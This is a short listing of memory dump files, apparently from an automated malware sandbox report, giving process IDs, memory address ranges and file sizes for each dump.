memory/4768-330-0x0000000070800000-0x0000000070B50000-memory.dmpFilesize
3.3MB
-
memory/4768-336-0x0000000007300000-0x0000000007310000-memory.dmpFilesize
64KB
-
memory/4768-309-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/4768-310-0x00000000080C0000-0x0000000008410000-memory.dmpFilesize
3.3MB
-
memory/4768-335-0x0000000009C20000-0x0000000009CC5000-memory.dmpFilesize
660KB
-
memory/4768-308-0x0000000007300000-0x0000000007310000-memory.dmpFilesize
64KB
-
memory/4768-546-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/4964-2458-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4964-2535-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4992-2127-0x000002C2E3050000-0x000002C2E3070000-memory.dmpFilesize
128KB
-
memory/5048-1781-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB